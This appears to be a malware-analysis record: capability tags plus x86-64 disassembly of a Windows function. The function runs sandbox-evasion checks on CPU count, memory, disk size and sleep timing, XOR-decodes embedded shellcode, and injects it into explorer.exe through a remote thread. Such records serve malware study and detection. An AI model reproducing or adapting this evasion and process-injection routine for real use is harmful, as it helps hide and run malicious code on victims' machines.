Function at 0x14000159a
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Get memory capacity
Get system information on windows
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x2e0
lea rbp, [rsp + 0x80]
call fcn.140001a90
movabs rax, 0x7775786276797268
movabs rdx, 0x6873766b626e6c64
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], rdx
movabs rax, 0x6c63646674636171
movabs rdx, 0x696a67736f77656c
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], rdx
mov byte [rbp + 0x210], 0
lea rax, [rbp + 0x1c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x1e0]
mov dword [rbp + 0x258], eax
mov eax, dword [rbp + 0x258]
mov edx, eax
lea rax, str.Processors:__d_n
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x258], 1
ja 0x14000164a
call fcn.1400014bc
mov eax, 0
jmp 0x1400019cf
mov dword [rbp + 0x180], 0x40
lea rax, [rbp + 0x180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp + 0x188]
shr rax, 0x14
mov dword [rbp + 0x254], eax
mov eax, dword [rbp + 0x254]
mov edx, eax
lea rax, str.Memory:__d_n
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x254], 0x7ff
ja 0x1400016aa
call fcn.1400014bc
mov eax, 0
jmp 0x1400019cf
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x15c]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x18
lea rdx, [rbp + 0x160]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x70000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
mov rax, qword [rbp + 0x160]
mov edx, dword [rbp + 0x16c]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x170]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x174]
mov edx, edx
imul rax, rdx
lea rdx, [rax + 0x3fffffff]
test rax, rax
cmovs rax, rdx
sar rax, 0x1e
mov dword [rbp + 0x244], eax
mov eax, dword [rbp + 0x244]
mov edx, eax
lea rax, str.Disk_space:__d_n
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x244], 0x45
ja 0x1400017ad
call fcn.1400014bc
mov eax, 0
jmp 0x1400019cf
call fcn.1400014a4
mov dword [rbp + 0x240], eax
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call fcn.1400014a4
mov dword [rbp + 0x23c], eax
mov eax, dword [rbp + 0x23c]
sub eax, dword [rbp + 0x240]
mov edx, eax
lea rax, str.Diff:__d_n
mov rcx, rax
call fcn.140001450
mov eax, dword [rbp + 0x23c]
sub eax, dword [rbp + 0x240]
cmp eax, 2
je 0x14000180e
call fcn.1400014bc
mov eax, 0
jmp 0x1400019cf
mov eax, dword [rbp + 0x23c]
sub eax, dword [rbp + 0x240]
cmp eax, 2
jne 0x1400019ca
lea rax, [rbp - 0x40]
lea rdx, [0x14000a070]
mov ecx, 0x2c
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
movabs rax, 0x626374796c706c74
movabs rdx, 0x776c6d6678776f61
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rdx
mov byte [rbp + 0x150], 0
mov dword [rbp + 0x25c], 0
jmp 0x1400018bf
mov eax, dword [rbp + 0x25c]
cdqe
movzx edx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x25c]
cdqe
and eax, 0xf
movzx eax, byte [rbp + rax + 0x140]
xor edx, eax
mov eax, dword [rbp + 0x25c]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x25c], 1
mov eax, dword [rbp + 0x25c]
cmp eax, 0x162
jbe 0x14000188a
lea rax, str.explorer.exe
mov rcx, rax
call fcn.1400014c3
mov dword [rbp + 0x238], eax
mov eax, dword [rbp + 0x238]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x230], rax
mov dword [rbp + 0x13c], 0
lea rdx, [rbp + 0x13c]
mov rax, qword [rbp + 0x230]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x228], rax
mov qword [rbp + 0x220], 0
lea r8, [rbp - 0x40]
mov rdx, qword [rbp + 0x228]
mov rax, qword [rbp + 0x230]
lea rcx, [rbp + 0x130]
mov qword [rsp + 0x20], rcx
mov r9d, 0x163
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rcx, qword [rbp + 0x228]
mov rax, qword [rbp + 0x230]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rdx, [rbp + 0x13c]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x218], rax
mov eax, 0
add rsp, 0x2e0
pop rsi
pop rdi
pop rbp
ret